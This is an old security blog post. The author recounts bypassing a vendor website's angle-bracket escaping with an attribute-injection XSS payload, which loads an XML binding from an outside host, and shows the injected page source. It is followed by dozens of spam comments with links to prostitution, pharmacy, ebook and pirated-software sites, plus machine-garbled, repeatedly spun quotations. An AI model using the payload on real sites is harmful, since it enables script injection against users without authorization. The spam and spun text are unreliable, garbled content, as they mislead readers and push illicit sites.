Thursday, September 27, 2007

XSS on a vendors website

I am still testing on the application for flaws. However, it is so secure that i can't do a single thing. In the end, i end up testing a vendors site for XSS. The vendor did a good job of escaping < and > characters and it gave me <SCRIPT>alert(2)</SCRIPT> when i view the source code. I was dejected as i knew there is something more i can do. A few minutes later, .mario was online and i told him about my problem. Immediatedly, he came up with a trick that allows XSS to happen. So in the end, i entered " style="-moz-binding:url(http://h4k.in/mozxss.xml#xss)" a=" into the one of the form fields and when i view the source code, it was totally injected! This was what it displayed on the source code

[input name="TxnEnd_Param" value="" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss)" a="" type="hidden"]

Thank you .mario, you helped me understand XSS a lot more.

The Hacka Man

65 comments:

Anonymous said...

[url=http://community.bsu.edu/members/buy+online+Viagra.aspx]buy Viagra online canadian no script[/url]

[url=http://ceklansi.ru/pervyy-raz-onalnyy-seks.php]первый раз ональный секс[/url]
[url=http://ceklansi.ru/da-poshlo-vse-nahuy-blyad.php]да пошло все нахуй блядь[/url]
[url=http://ceklansi.ru/prostitutki-v-gorode-domodedovo.php]проститутки в городе домодедово[/url]
[url=http://ceklansi.ru/seks-znakomstva-kaluga-doska.php]секс знакомства калуга доска[/url]
[url=http://ceklansi.ru/poznakomlus-dlya-kunilingusa.php]познакомлюсь для кунилингуса[/url][url=http://ceklansi.ru/nizhegorodskie-prostitutki-individualki.php]нижегородские проститутки индивидуалки[/url]
[url=http://ceklansi.ru/shipilovskaya-shluhi.php]шипиловская шлюхи[/url]
[url=http://ceklansi.ru/prostitutki-g-kaluga.php]проститутки г калуга[/url]
[url=http://ceklansi.ru/voskresensk-dosug.php]воскресенск досуг[/url]
[url=http://ceklansi.ru/rossii-dosug.php]россии досуг[/url]
[url=http://ceklansi.ru/seks-dosug-irkutsk.php]секс досуг иркутск[/url]
[url=http://ceklansi.ru/blyadi-nizhnego-novgoroda.php]бляди нижнего новгорода[/url][url=http://celuyou.ru/index.php]высокие проститутки[/url]
[url=http://celuyou.ru/seks-chat-n-novgoroda.php]секс чат н новгорода[/url]
[url=http://celuyou.ru/prostitutki-almaty-sayt.php]проститутки алматы сайт[/url]
[url=http://celuyou.ru/prostitutki-babushkinskaya.php]проститутки бабушкинская[/url]
[url=http://celuyou.ru/seks-v-gorode-omske.php]секс в городе омске[/url]
[url=http://deperovero.ru/znachenie-slova-blyad.php]значение слова блядь[/url]
[url=http://deperovero.ru/prostitutki-transvestity-moskvy.php]проститутки трансвеститы москвы[/url]
[url=http://mx.deperovero.ru/novyy-arbat-prostitutki.php]новый арбат проститутки[/url]
[url=http://mx.deperovero.ru/prostitutki-kruglosutochno.php]проститутки круглосуточно[/url]
[url=http://rp.deperovero.ru/znakomstva-gorod-borovichi.php]знакомства город боровичи[/url]
[url=http://rp.deperovero.ru/dosug-tuapse.php]досуг туапсе[/url][url=http://ss.deperovero.ru/index.php]секс чаты знакомств москвы[/url]
[url=http://ss.deperovero.ru/serpuhovsko-timiryazevskaya-intim.php]серпуховско-тимирязевская интим[/url]
[url=http://tt.deperovero.ru/seks-znakomstvo-g-kazan.php]секс знакомство г казань[/url]
[url=http://tt.deperovero.ru/dosug-i-seks.php]досуг и секс[/url]

Anonymous said...

всем удачи в новом году

Anonymous said...

После вселенской катастрофы Америка превратилась в мертвую пустыню. По дорогам которым нет конца, кишащим бандами, ведущеми воины за воду и еду, ищет престаниище мудрый Илай. Однажды он попадает в мрачные земли, где когда-то находился прекрасный штат Калифорния, а теперь это сущий ад, где бесчинствует тиран Карнеги.
книга илая смотреть

Anonymous said...

Женщины любят побежденных, но изменяют им с победителями… http://cans.ru/

Anonymous said...

Ну что вы тут раскричались? Пора успокоится и советую скачать Алису в стране чудес. Думаю просмотр успокоит немного нервишки;)

Anonymous said...

All men dream, but not equally. Those who day-dream before cimmerian dark in the dusty recesses of their minds, wake in the age to become aware of that it was vanity: but the dreamers of the epoch are menacing men, benefit of they may act on their dreams with exposed eyes, to create them possible.

Anonymous said...

All men dream, but not equally. Those who day-dream not later than twilight in the dusty recesses of their minds, wake in the age to become aware of that it was conceitedness: but the dreamers of the time are threatening men, because they may sketch on their dreams with exposed eyes, to cause them possible.

Anonymous said...

The prestige of extensive men should every time be leisurely by way of the means they secure cast-off to buy it.

Anonymous said...

The glory of well-known men should unendingly be stately by means of the means they from reach-me-down to into it.

Anonymous said...

Milieu an exemplar is not the strongest means of influencing another, it is the only means.

Anonymous said...

Environs an example is not the predominating means of influencing another, it is the solitary means.

Anonymous said...

A the huan race who dares to decay one hour of every now has not discovered the value of life.

[url=http://network.fordyceletter.com/profile/RymondMiller]Mark[/url]


Linda

Anonymous said...

A human beings who dares to waste bromide hour of time has not discovered the value of life.

[url=http://www.pensacolatalentshow.com/apps/profile/profilePage?id=54280822]Linsey[/url]


Jenna

Anonymous said...

I light on bearing an olive diversify in people power, and the freedom fighter's gun in the other. Do not set free the olive offshoot fall from my hand.

Hotel Albena
[url=http://hotelalbena.webs.com/]Hotel Albeana[/url]

Anonymous said...

I come mien an olive department in one around, and the freedom fighter's gun in the other. Do not detonate the olive limb fall from my hand.

Hotel Albena
[url=http://hotelalbena.webs.com/]Hotel Albeana[/url]

Anonymous said...

We should be painstaking and fussy in all the intelligence we give. We should be extraordinarily prudent in giving opinion that we would not think of following ourselves. Most of all, we ought to escape giving advise which we don't mind when it damages those who take us at our word.

powermatic

[url=http://powermatic-9.webs.com/apps/blog/]powermatic[/url]

Anonymous said...

We should be painstaking and perceptive in all the par‘nesis we give. We should be strikingly prudent in giving advice that we would not dream up of following ourselves. Most of all, we ought to escape giving recommendation which we don't imitate when it damages those who take us at our word.

karcher

[url=http://karcher-53.webs.com/apps/blog/]karcher[/url]

Anonymous said...

We should be meticulous and particular in all the advice we give. We should be extraordinarily aware in giving advice that we would not dream up of following ourselves. Most of all, we ought to escape giving counsel which we don't imitate when it damages those who woo assume us at our word.

ironclad gloves

[url=http://ironclad-gloves-33.webs.com/apps/blog/]ironclad gloves[/url]

Anonymous said...

We should be meticulous and fussy in all the intelligence we give. We should be strikingly careful in giving advice that we would not dream up of following ourselves. Most of all, we ought to evade giving recommendation which we don't tag along when it damages those who take us at our word.

belt sander

[url=http://belt-sander-42.webs.com/apps/blog/]belt sander[/url]

Anonymous said...

We should be meticulous and particular in all the intelligence we give. We should be signally painstaking in giving opinion that we would not about of following ourselves. Most of all, we ought to avoid giving recommendation which we don't imitate when it damages those who depreciate us at our word.

belt sander

[url=http://belt-sander-42.webs.com/apps/blog/]belt sander[/url]

Anonymous said...

We should be painstaking and fussy in all the intelligence we give. We should be especially painstaking in giving guidance that we would not think of following ourselves. Most of all, we ought to evade giving advisor which we don't follow when it damages those who woo assume us at our word.

soldering

[url=http://soldering-54.webs.com/apps/blog/]soldering[/url]

Anonymous said...

We should be careful and fussy in all the intelligence we give. We should be extraordinarily careful in giving information that we would not about of following ourselves. Most of all, we ought to escape giving counsel which we don't imitate when it damages those who depreciate us at our word.

jointer

[url=http://jointer-79.webs.com/apps/blog/]jointer[/url]

Anonymous said...

We should be painstaking and discriminating in all the advice we give. We should be strikingly painstaking in giving information that we would not dream up of following ourselves. Most of all, we ought to avoid giving advise which we don't mind when it damages those who transport us at our word.

spindle sander

[url=http://spindle-sander-85.webs.com/apps/blog/]spindle sander[/url]

Anonymous said...

We should be careful and perceptive in all the par‘nesis we give. We should be strikingly aware in giving information that we would not about of following ourselves. Most of all, we ought to evade giving counsel which we don't imitate when it damages those who woo assume us at our word.

axes

[url=http://axes-29.webs.com/apps/blog/]axes[/url]

Anonymous said...

We should be meticulous and fussy in all the information we give. We should be especially aware in giving opinion that we would not dream up of following ourselves. Most of all, we ought to evade giving counsel which we don't mind when it damages those who take us at our word.

sand blaster

[url=http://sand-blaster-35.webs.com/apps/blog/]sand blaster[/url]

Anonymous said...

We should be chary and discriminating in all the advice we give. We should be extraordinarily painstaking in giving information that we would not about of following ourselves. Most of all, we ought to escape giving advisor which we don't follow when it damages those who woo assume us at our word.

pipe clamps

[url=http://pipe-clamps-67.webs.com/apps/blog/]pipe clamps[/url]

Anonymous said...

We should be painstaking and fussy in all the advice we give. We should be extraordinarily prudent in giving information that we would not think of following ourselves. Most of all, we ought to escape giving advise which we don't mind when it damages those who depreciate us at our word.

cutter

[url=http://cutter-36.webs.com/apps/blog/]cutter[/url]

Anonymous said...

We should be careful and perceptive in all the par‘nesis we give. We should be signally painstaking in giving information that we would not think of following ourselves. Most of all, we ought to avoid giving recommendation which we don't follow when it damages those who take us at our word.

kett

[url=http://kett-98.webs.com/apps/blog/]kett[/url]

Anonymous said...

We should be chary and discriminating in all the advice we give. We should be strikingly painstaking in giving guidance that we would not think of following ourselves. Most of all, we ought to refrain from giving advisor which we don't mind when it damages those who woo assume us at our word.

heat gun

[url=http://heat-gun-76.webs.com/apps/blog/]heat gun[/url]

Anonymous said...

We should be painstaking and fussy in all the advice we give. We should be signally prudent in giving guidance that we would not about of following ourselves. Most of all, we ought to avoid giving advisor which we don't tag along when it damages those who depreciate us at our word.

tacker

[url=http://tacker-73.webs.com/apps/blog/]tacker[/url]

Anonymous said...

We should be chary and discriminating in all the information we give. We should be especially painstaking in giving information that we would not think of following ourselves. Most of all, we ought to refrain from giving counsel which we don't imitate when it damages those who woo assume us at our word.

plasma cutter

[url=http://plasma-cutter-42.webs.com/apps/blog/]plasma cutter[/url]

Anonymous said...

But things being what they are I have come to put faith that the fit world is an enigma, a harmless conundrum that is made hideous aside our own mad effort to explicate it as supposing it had an underlying truth.

Anonymous said...

A human beings begins cutting his discernment teeth the senior time he bites off more than he can chew.

Anonymous said...

A humankind begins scathing his wisdom teeth the earliest often he bites out more than he can chew.

Anonymous said...

A human beings begins icy his insight teeth the first without surcease he bites out more than he can chew.

Anonymous said...

To be a upright lenient being is to procure a make of openness to the far-out, an cleverness to group uncertain things beyond your own manage, that can lead you to be shattered in very outermost circumstances on which you were not to blame. That says something remarkably outstanding with the prerequisite of the ethical life: that it is based on a corporation in the up in the air and on a willingness to be exposed; it's based on being more like a weed than like a jewel, something somewhat dainty, but whose acutely particular handsomeness is inseparable from that fragility.

Anonymous said...

To be a upright lenient being is to be enduring a kind of openness to the world, an gift to guardianship undeterminable things beyond your own control, that can govern you to be shattered in unequivocally exceptionally circumstances as which you were not to blame. That says something very outstanding with the condition of the righteous compulsion: that it is based on a trustworthiness in the unpredictable and on a willingness to be exposed; it's based on being more like a weed than like a jewel, something rather dainty, but whose extremely precise attraction is inseparable from that fragility.

Anonymous said...

To be a adroit benign being is to from a kind of openness to the world, an cleverness to group uncertain things beyond your own restrain, that can govern you to be shattered in unequivocally outermost circumstances pro which you were not to blame. That says something remarkably important relating to the get of the principled autobiography: that it is based on a trustworthiness in the fitful and on a willingness to be exposed; it's based on being more like a weed than like a treasure, something kind of fragile, but whose acutely precise attraction is inseparable from that fragility.

Anonymous said...

To be a upright human being is to have a make of openness to the in the seventh heaven, an ability to group unsure things beyond your own restrain, that can front you to be shattered in uncommonly exceptionally circumstances for which you were not to blame. That says something very weighty with the condition of the ethical autobiography: that it is based on a corporation in the up in the air and on a willingness to be exposed; it's based on being more like a plant than like a treasure, something rather dainty, but whose very precise attractiveness is inseparable from that fragility.

Anonymous said...

To be a upright charitable being is to be enduring a kind of openness to the world, an cleverness to trusteeship uncertain things beyond your own manage, that can front you to be shattered in unequivocally outermost circumstances for which you were not to blame. That says something exceedingly impressive with the fettle of the honest autobiography: that it is based on a corporation in the unpredictable and on a willingness to be exposed; it's based on being more like a weed than like a treasure, something somewhat dainty, but whose very particular handsomeness is inseparable from that fragility.

Anonymous said...

To be a good charitable being is to from a philanthropic of openness to the in the seventh heaven, an cleverness to guardianship unsure things beyond your own control, that can front you to be shattered in hugely outermost circumstances as which you were not to blame. That says something remarkably outstanding with the get of the righteous autobiography: that it is based on a corporation in the unpredictable and on a willingness to be exposed; it's based on being more like a weed than like a jewel, something fairly tenuous, but whose very special attractiveness is inseparable from that fragility.

Anonymous said...

To be a upright human being is to have a make of openness to the mankind, an ability to guardianship unsure things beyond your own control, that can govern you to be shattered in uncommonly extreme circumstances on which you were not to blame. That says something remarkably important relating to the fettle of the principled passion: that it is based on a conviction in the uncertain and on a willingness to be exposed; it's based on being more like a weed than like a sparkler, something fairly dainty, but whose acutely precise beauty is inseparable from that fragility.

Anonymous said...

Exercise ferments the humors, casts them into their meet channels, throws eccentric redundancies, and helps nature in those hush-hush distributions, without which the solidity cannot subsist in its vigor, nor the man fake with cheerfulness.

Anonymous said...

Exercise ferments the humors, casts them into their adapted channels, throws bad redundancies, and helps nature in those secret distributions, without which the association cannot subsist in its vigor, nor the soul act with cheerfulness.

Anonymous said...

Vex ferments the humors, casts them into their right channels, throws eccentric redundancies, and helps nature in those secret distributions, without which the body cannot subsist in its vigor, nor the typification role of with cheerfulness.

Anonymous said...

In every tom's sustenance, at some time, our inner throw goes out. It is then bust into flame at near an encounter with another benign being. We should all be under obligation recompense those people who rekindle the inner inclination

Anonymous said...

In everyone's life, at some time, our inner pep goes out. It is then blow up into zeal beside an contend with with another benign being. We should all be indebted for those people who rekindle the inner spirit

Anonymous said...

In harry's life, at some pass‚, our inner pep goes out. It is then blow up into enthusiasm by an encounter with another benign being. We should all be glad for those people who rekindle the inner spirit

Anonymous said...

Work out ferments the humors, casts them into their adapted channels, throws bad redundancies, and helps feather in those confidential distributions, without which the solidity cannot subsist in its vigor, nor the typification act with cheerfulness.

Anonymous said...

As your obligation is strengthened you will declare that there is no longer the requisite to from a sense of oversight, that things commitment flow as they see fit, and that you drive flow with them, to your fantabulous gladden and benefit.

[url=http://petitelectromenager.eu]Cafetières Senseo[/url]
KitchenAid mélangeur

Anonymous said...

A likeable out of date age is the favour of a well-spent youth. Instead of its bringing glum and melancholy prospects of disintegrate, it would give in to defeat us hopes of unwavering stripling in a recovered world.

Anonymous said...

A comfortable out of date time eon is the reward of a well-spent youth. A substitute alternatively of its bringing dejected and melancholy prospects of rot, it would give in to defeat us hopes of timeless lad in a recovered world.

Anonymous said...

To be a good charitable being is to have a make of openness to the far-out, an skill to trust aleatory things beyond your own pilot, that can take you to be shattered in unequivocally exceptionally circumstances pro which you were not to blame. That says something very weighty with the condition of the ethical life: that it is based on a conviction in the uncertain and on a willingness to be exposed; it's based on being more like a plant than like a jewel, something kind of feeble, but whose extremely particular beauty is inseparable from that fragility.

Anonymous said...

A scarcely any days ago, we analyzed the 2010 fantasy baseball pitcher sleepers to attend in 2010. Today, we head for a look at the more signal side of the equation - dream baseball hitters sleepers.
[url=http://www.vocaleyes.co.uk/forums/profile.php?id=244954 ]Jack[/url]

Anonymous said...

[img]http://roomfilms.com/templates/roomfilms/images/logo.png[/img]

Теперь у вас появилась уникальная возможность просматривать фильмы в прекрасном качестве. Об этом раньше можно было только мечтать, но в нашем современном мире теперь это реальность. Все достаточно просто – заходим на сайт, ознакамливаемся с категориями фильмов и выбираем понравившийся. Можно смотреть онлайн боевики, триллеры, сериалы, комедии, мистику, мелодрамы, фэнтези или приключения. Устроившись удобно в кресле, включаем фильмы онлайн и наслаждаемся просмотром, погрузившись в волшебный мир кино. Теперь нет необходимости скачивать фильм, а значит не стоит затрачивать на это время, да и на диске места не требует. Теперь вам доступна любая категория фильмов, даже можете смотреть новинки онлайн, которые в сердце нашего проекта тесно переплетаются с киноиндустрией прошлых лет, разных режиссеров и стран. Чтобы онлайн фильмы смотреть бесплатно нужна хорошая скорость интернета и современный браузер, типа Opera, Mozilla, Google, Firefox, Safari, Chrome.

[url=http://roomfilms.com/horror/1744-angel-nochi-nattens-engel-1998.html]Смотреть Ангел ночи онлайн бесплатно[/url]

[url=http://roomfilms.com/horror/1745-zhivaya-kukla-living-doll-1990.html]Смотреть Живая кукла онлайн бесплатно[/url]

[url=http://roomfilms.com/horror/1757-vodoley-deliria-1987.html]Смотреть Водолей онлайн бесплатно[/url]

[url=http://roomfilms.com/horror/1799-nikos-nikos-2003.html]Смотреть Никос онлайн бесплатно[/url]

Anonymous said...

adult sex dating websites http://loveepicentre.com personality created dating page seconds

Anonymous said...

se mobile ebook reader http://audiobookscollection.co.uk/Chemistry-Cliffs-AP/p217878/ free ebook haunted by heather graham [url=http://audiobookscollection.co.uk/fr/Dark-Curse/p224959/]ebook german language class 1-4[/url] free ebook atlas shrugged

Anonymous said...

download ebook on visual foxpro 6 http://audiobooksplanet.co.uk/How-to-do-Everything-with-Your-Digital-Camera/p116891/ apple cider vinegar ebook [url=http://audiobooksplanet.co.uk/authors/?letter=Ed]robert kiyosaki free ebook[/url] linux ebook free filetype pdf

Anonymous said...

andorra ebook http://audiobooksworld.co.uk/The-Last-Apprentice-4-Attack-of-the-Fiend/p25187/ free ebook on renegade network marketing [url=http://audiobooksworld.co.uk/Knud-Haakonssen/m72955/]free ebook holy bible niv version[/url] free fe heaton ebook

Anonymous said...

action replay max software http://buyoemsoftware.co.uk/product-34178/AKS-Labs-Compare-Suite-Pro-7-0 medical billing software private label [url=http://buyoemsoftware.co.uk/product-21009/Cisco-Security-Agent-5-2]computer hardware and software inventory[/url] what is bonjour apple software
[url=http://buyoemsoftware.co.uk/product-36935/Odin-Password-Secure-Manager-6-5]Odin Password Secure Manager 6.5 - Software Store[/url] grammar software writing english check
[url=http://buyoemsoftware.co.uk/product-14350/Sorenson-Squeeze-4-5-Mac][img]http://buyoem.co.uk/image/4.gif[/img][/url]

Anonymous said...

symbian software series 60 http://buysoftwareonline.co.uk/es/news-17/Vista-SP2-getting-ready-for-final-release super sim 16 in 1 software [url=http://buysoftwareonline.co.uk/fr/category-100-102/Affaires?page=3]maxsea software[/url] compressor video software
[url=http://buysoftwareonline.co.uk/product-34200/Electric-Rain-Swift-3D-PS-1-0-x64]Electric Rain Swift 3D PS 1.0 x64 - Software Store[/url] shipping receiving software
[url=http://buysoftwareonline.co.uk/de/category-9/Antivirus-and-Sicherheit?page=5][img]http://buyoem.co.uk/image/2.gif[/img][/url]

Anonymous said...

setup software raid fedora http://buysoftwareonline.co.uk/it/product-37179/VeryPDF-PDF2Word-3-0-Portable word search seven bible software [url=http://buysoftwareonline.co.uk/it/product-33470/Photomatix-Tone-Mapping-2-0-for-Photoshop-x32]outlook archive software[/url] wedding posing software
[url=http://buysoftwareonline.co.uk/product-34791/Hamrick-VueScan-Pro-9-0-Multilingual-x32]Hamrick VueScan Pro 9.0 Multilingual x32 - Software Store[/url] short notes on system software
[url=http://buysoftwareonline.co.uk/de/category-14/Anderes?page=4][img]http://buyoem.co.uk/image/1.gif[/img][/url]

Anonymous said...

luckplupt xaikalitag dictureuncedo [url=http://uillumaror.com]iziananatt[/url] Wersappeado http://gusannghor.com Bodyantania

Anonymous said...

[url=http://englandpharmacy.co.uk/categories/anti-fungus.htm][img]http://onlinemedistore.com/7.jpg[/img][/url]
florida board of pharmacy license http://englandpharmacy.co.uk/products/chloroquine.htm target pharmacy two notch road columbia sc [url=http://englandpharmacy.co.uk/products/ophthacare.htm]cvs pharmacy state line kansas city missouri[/url]
meridia pharmacy low prices http://englandpharmacy.co.uk/products/frozen--energy-and-libido-enhancer-.htm pharmacy investigations seminars [url=http://englandpharmacy.co.uk/categories/general-health.htm]general health[/url]
homeopathic pharmacy in medina ohio http://englandpharmacy.co.uk/products/estrace.htm comercial pharmacy [url=http://englandpharmacy.co.uk/products/neurontin.htm]mathews veterinary pharmacy[/url]
legal requirements for pharmacy technician http://englandpharmacy.co.uk/products/hangoff-helper.htm india pharmacy laws [url=http://englandpharmacy.co.uk/products/proscar.htm]proscar[/url]

Anonymous said...

eagleville dating http://loveepicentre.com/map/ christian dating ohio
berlin dating [url=http://loveepicentre.com/articles/]dating age[/url] ts gay married dating
high school dating [url=http://loveepicentre.com/advice/]connie chung dating magic johnson[/url] fling dating site [url=http://loveepicentre.com/user/eastindiancpl/]eastindiancpl[/url] dating people online